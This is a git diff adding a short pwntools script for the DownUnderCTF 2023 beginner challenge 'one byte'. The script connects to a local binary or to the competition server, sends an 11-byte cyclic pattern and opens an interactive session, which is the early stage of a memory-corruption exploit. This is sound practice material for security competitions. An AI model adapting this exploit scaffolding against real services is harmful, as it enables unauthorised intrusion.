some things

DownUnderCTF 2023/beginner/one byte/onebyte.py

@@ -0,0 +1,28 @@
+from pwn import *
+import os
+
+gs = '''
+unset env LINES
+unset env COLUMNS
+set follow-fork-mode child
+br *main
+c
+'''
+
+elf = ELF(os.getcwd()+"/downunderflow")
+
+def start():
+    if args.GDB:
+        return gdb.debug(elf.path, gs)
+    if args.REMOTE:
+        return remote("2023.ductf.dev", 30018)
+    else:
+        return process(os.getcwd()+"/downunderflow")
+
+io = start()
+
+print(io.recvuntil("Your turn: "))
+io.send(cyclic(11))
+
+
+io.interactive()